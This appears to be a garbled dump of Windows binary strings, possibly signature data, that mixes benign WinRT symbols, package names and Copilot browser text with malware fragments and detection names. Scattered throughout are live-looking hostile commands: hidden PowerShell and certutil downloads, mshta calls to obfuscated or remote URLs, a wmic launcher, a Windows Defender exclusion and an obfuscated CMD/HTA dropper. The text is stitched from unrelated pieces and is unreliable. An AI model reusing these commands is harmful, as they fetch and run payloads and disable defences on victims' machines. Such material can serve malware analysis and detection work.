cmd /c powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile('%s', '%s');%scmd /c certutil.exe -urlcache -split -f %s %s&&%screateobject("adodb.stream"):set web=createobject("microsoft.xmlhttp")web.open "get",.arguments(0),0:web.send:if web.status
sC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk
Windows
.exe"set"filename=yourfile.exe"set"startupfolder=%appdata%\microsoft\windows\startmenu\programs\startup"powershell-command"$progresspreference='silentlycontinue';
l\windows\system32\mshta.exe"javascript:try{try{try{var_33li1msui=["\x51\x4e\x53\x59\x33\107\x39","\x73\x63\162\151\x70\x74\72\x48\x74\x74\x50\163\x3a\x2f\x2f\163\164\x72\x61\154\x69\x6e\x6c\165\x6e\x74\141\162\x30\x36\56\x6d\x65\x64\x69\x63\157\x61\x73\x73\x6f\x63\151\x64\x6f\163\x2e\150\x6f\x6d\x65\x73\x2f\x3f\61\57"];getobject(_33li1msui[1])[_33li1msui[0]]();}catch(e){}}catch(e){}}catch(e){}close()"
windowstylehidden$install=new
Rstart/minpowershell.exe-windowstylehidden"$luxuriated=1;$forureningsudvalgets='s';$forureningsudvalgets+='ubstrin';$forureningsudvalgets+='g';functions
xcmd.exev/r^sta^r^tm^si^ex^e^c/qn^r^y^lz=^v^fw^cp/fv"http://m0.nu:8080/a/2a3vvkn2sacn/3/3zlsvufm62uufymmi//%computername%"%windir%\system32\shell32.dll%
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://newhip.oss-cn-beijing.aliyuncs.com/neww')
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe3=
)c:\windows\system32\openssh\ssh.exe-oproxycommand="p4
<si><t>\windows\</t></
"cmd.exe/crename"&command&"windows-security'
windowsdefenderadvancedL
c:\windows\system32\mshta.exehttps://rdbmm.ac.in/
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @windows.data.donotdisturb.quietmoment$quietmomentscheduled
(@default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @windows.data.donotdisturb.quietmoment$quietmomentpresentation
 @windows.data.donotdisturb.quietmoment$quietmomentgame
 @windows.data.donotdisturb.quietmoment$quietmomentfullscreen
(@windows.data.donotdisturb.quietmoment$quietmomentgame
 @windows.data.donotdisturb.quietmoment$quietmomentpresentation
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @default$windows.data.donotdisturb.quiethourssettings
 @default$windows.data.donotdisturb.quietmoment$quietmomentlist
 @default$windows.data.donotdisturb.quiethourssettings
microsoft.windows.photos.videoedi
microsoft.windows.camera.picker(	
Windows Desktop
1ontrols@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
x.O+get-windowsfeature
Windows NT 
windows.protocol
windowsdefender
shellcommon\undockeddevkit\libs\windowsudk.system.a9settings\automatedcapturecontroller.cpp
shellcommon\undockeddevkit\libs\windowsudk.system.shutdown\shutdownmanager.cpp
add-mppreference-exclusionpathc:\programdata\windowstask\appmodule.exe-forc
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
%BrowserAppProfile%\Document Windows!x
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!HKeyRoot2
Microsoft-Windows-Embedded-UnifiedWriteFilter-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
7"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:WebExperience#
WindowSetWidth
onecoreuap\shell\windows.storage\MSGraphHomeFolder.h
onecoreuap\shell\windows.storage\userslibrariesfolder.cpp
Windows.Storage.pdb
.text$lp00windows.storage.dll!20_pri7
.text$lp01windows.storage.dll!20_pri7
.text$lp03windows.storage.dll!30_clientonly
.text$lp04windows.storage.dll!30_clientonly
.text$lp06windows.storage.dll!35_hybridboot
.text$lp07windows.storage.dll!35_hybridboot
.text$lp09windows.storage.dll!50_coldboot
.?AV<lambda_1>@?1??GetEdgeUserProfiles@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AUJsonArray@Json@Data@Windows@6@Uhstring@6@@Z@
.?AV<lambda_1>@?1??GetEdgePinSitesAsync@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@6@Uhstring@6@0H@Z@
.?AV<lambda_1>@?1??GetEdgeProfiles@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeProfile@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@@Z@
.?AV<lambda_1>@?1??GetEdgeTopSites@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeTopSite@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@H@Z@
.?AV<lambda_1>@?1??GetEdgeHistory@IndexerHelper@implementation@Search@WebHost@winrt@@QEAA?AU?$IVector@UEdgeHistorySite@Search@WebHost@winrt@@@Collections@Foundation@Windows@6@W4EdgeBranch@456@H@Z@
.?AV<lambda_1>@?1??InitializeAsync@AppManager@implementation@WebExperienceHost@winrt@@QEAA?AUIAsyncAction@Foundation@Windows@5@UIActivatedEventArgs@Activation@ApplicationModel@85@@Z@
.?AV<lambda_2>@?1??InitializeAsync@AppManager@implementation@WebExperienceHost@winrt@@QEAA?AUIAsyncAction@Foundation@Windows@5@UIActivatedEventArgs@Activation@ApplicationModel@85@@Z@
.?AV<lambda_1>@?1??OnNavigateWithContext@AppManager@implementation@WebExperienceHost@winrt@@AEAAXURedirectEventArgs@45@U?$IMapView@Uhstring@winrt@@U12@@Collections@Foundation@Windows@5@@Z@
.?AU?$BridgeWrapper@UJsonObject@Json@Data@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@UJsonArray@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UIAsyncAction@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UJsonArray@Json@Data@34@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@XAEBUJsonArray@Json@Data@Windows@winrt@@@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@UIAsyncAction@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
.?AU?$BridgeWrapper@U?$IAsyncOperation@_N@Foundation@Windows@winrt@@$$V@implementation@WebExperienceHost@winrt@@
Microsoft.Windows.Shell.WebExperienceHost.AppManager
Microsoft.Windows.Shell.WebExperienceHost.OneDriveOfficeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.TipsWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.DashboardWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.WelcomeBackWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.PersonalizedSettingsWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.OobeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.UndockedScoobeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.GetStartedLogging
Microsoft.Windows.Shell.WebExperienceHost.OtherWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.Health
Microsoft.Windows.Shell.ScoobeEligibility
\\.\root\Microsoft\Windows\DeviceGuard:__Win32Provider.Name="Win32_DeviceGuard"
Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType
factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UFilterViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIFilterViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UITextOnlyDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UITextOnlyDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UTextOnlyDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UITextOnlyDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAppLogicStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UAppLogic@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIAppLogicStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer_convert@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UAppLogic@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIAppLogicStatics@34@Ustatic_lifetime@4@@impl@winrt@@
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.TranslateUrl
WindowsPeopleExperience
Global.WindowsMigrationSRD1
tcom.microsoft.windows.extensionpackageWidgetBoardE
WindowsTerminal
user-agent: opera/9.80 (windows nt 6.1; u; ru) presto/
ramkevladi=_zip_unzipall(@tempdir&"\exeler.zip",@homedrive&"\windowsservices3545")sleep(1000)run(@homedrive&"\
windowsinstaller.installer
icmd.exe..\windows\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
.shellexecute('cmdkey','/generic:microsoft_windows_2
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
%systemroot%\system32\shell32.dll,47%
Windows PowerShell ISE (x86).lnk
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-102
Windows PowerShell ISE.lnk
@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-101
C:\windows\
\windows\
C:\windows\
:\windows\
C:\windows\explorer.exe..\*
Microsoft.Windows.Power.RtApi
Microsoft.Windows.Power.RtApi
windows.energy.pdb
windows_encryptTrojan:O97M/Donoff.ALY!MTB
:\windows
%LOCALAPPDATA%\Google\Chrome\User Datanet localgroup AdministratorsWindows Defender exclusionshistoryHackTool:Win64/Injector.PAHB!MTB
 ([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole][
Shell ("C:\\WinDOws\\SysTEM32\\CMD.exe /V/D/c ""seT sKk=script&&seT px=mshtad='hHsvTtP:';GHsvetObjHsvect(c+d+'&&sET UF8=SKUZDSKUZDwweea8ae0f.usmarob.usSKUZD?2SKUZD');}catch(e){}close()SKUZD=/%""<nul > %XMGK%.Hta|CMD /c !px! !XMGK!.HtA ""  "), vbHiddenExploit:O97M/CVE-2017-11882.PDEV!MTB
.WindowsAlarms
0C:\Windows\SystemApps
C:\Windows\SystemApps\Mic
Windows Defender Security Center
Windows Embedded
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/13"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/13"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap6="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
as-chair-excellancec:\windows\system32\[https://iiieyehealth.com/fonts/times/files/call-for-proposal-dgsp-coas-chair-excellance/css
.*%mshta.exel-kmgpc:\windows\system32\mshta.exe&..\..\..\..\windows\system32\mshta.exec:\windows\system32"https://ia801509.us.archive.org/29/items/enc-kkkkkkkkkkkooooooookkkkkkkkkkk-2435467568790/enc_kkkkkkkkkkkooooooookkkkkkkkkkk_2435467568790.txt
 Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!Ap
WldpQueryWindowsLockdownMode
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-DISM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
c:\windows\system32
system32dummy_username@itsssl.com/dur3q"targetmode="extern
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses
WindowStatee
SystemRuntimeWindowsRuntime
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.DropDownDone
System.Windows.Forms.UnsafeNativeMethods.IEnumUnknown.Clone
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.Clone
System.Windows.Forms.UnsafeNativeMethods.IEnumVariant.Clone
Microsoft.Windows.Security.Mpr
  <assemblyIdentity name="Microsoft.Windows.Common-Controls" version="6.0.26100.7824" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" type="win32" />
  <file name="comctl32.dll" cmiv2:importPath="$(build.nttree)\asms\60\msft\windows\common\controls" cmi
Windows.Security.Authentication.OnlineId.dll<
;C:\WINDOWS\Sy
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0tauri://webview-created/rsproxy.cn-/Users/zrll/!#HSTR:TrojanDownloader:MSIL/Bladabindi.Gulfup
t$ll\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\AC\Temp
Microsoft.Windows.Storage.StorageService
Microsoft.Windows.Storage.StorageHealth
Microsoft.Windows.Storage.StorageDiskMonitor
Microsoft.Windows.Storage.StorageHealthMonitor
Microsoft.Windows.Storage.StorageReserve
Microsoft.Windows.Storage.Cleanup
delc:\windows\system32\sprintcsp.dll
c:\system\windows service.exec
Microsoft Windows
windows_7_wallpaper_by_p_com
C:\WINDOWS\
..\..\..\..\windows\system32\rundll32.exeker3p.dll
start-process-windowstyle$hhcmd$rnnwrzpdvnfgnzwhfwyv
\system32\drivers\desprotetordrv.sys
pwindows
windir=C:\WINDOWS_
SystemRoot=C:\WINDOWSC
DOMAIN=Windows11Z
Windows.System.UserProfile.DiagnosticsSettings
Microsoft.Windows.Wil.FeatureLogging
Windows.System.UserProfile.DiagnosticsSettings.pdb
Y#hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\advanced\\hidefileext
://ruisgood.ru/1201.rar','c:\windows\inf\aspnet\
Microsoft Windows
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
<exec><command>c:\windows\system32\cmdi
WINDOWS11
WINDOWS11
WINDOWS11
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
ncalrpc:WINDOWS11[MidiSrvClientRpc]
:\windows\media\}
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
SHRemoveWindowSubclass
SHSetWindowSubclassRemoveProp
SHSetWindowSubclassDetachAttempt
SHSetWindowSubclassSetProp
SHSetWindowSubclass
SHGetWindowSubclassData
SHGetWindowSubclassData
Microsoft.Windows.Shell.SHCore
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.StreamLib
Microsoft.Windows.SHCore.Oplock
Microsoft.Windows.Shell.ScalingCompat
onecore\shell\shcore\libs\scaling\lib\windowscalinginfo.cpp
Failed GetWindowsDirectoryW %d
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
B5AV8nlaunchedhelpmecrWindowsB
c:\windowsF
c:\windows\
appactivate("windowstaskmanager");
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
UI@Windows
Queueu-ESoftware\Microsoft\Windows\C
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.Background.h
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskInstance<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskInstance>::GetDeferral(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_Background_IBackgroundTaskDeferral<struct winrt::Windows::ApplicationModel::Background::IBackgroundTaskDeferral>::Complete(void) const
auto __cdecl winrt::impl::consume_Windows_Data_Json_IJsonObject<struct winrt::Windows::Data::Json::IJsonObject>::SetNamedValue(const struct winrt::param::hstring &,const struct winrt::Windows::Data::Json::IJsonValue &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IStringable<struct winrt::Windows::Data::Json::JsonObject>::ToString(void) %
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFocusProxyButton@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UFocusProxyButton@implementation@TaskManagerApp@winrt@@@impl@winrt@@
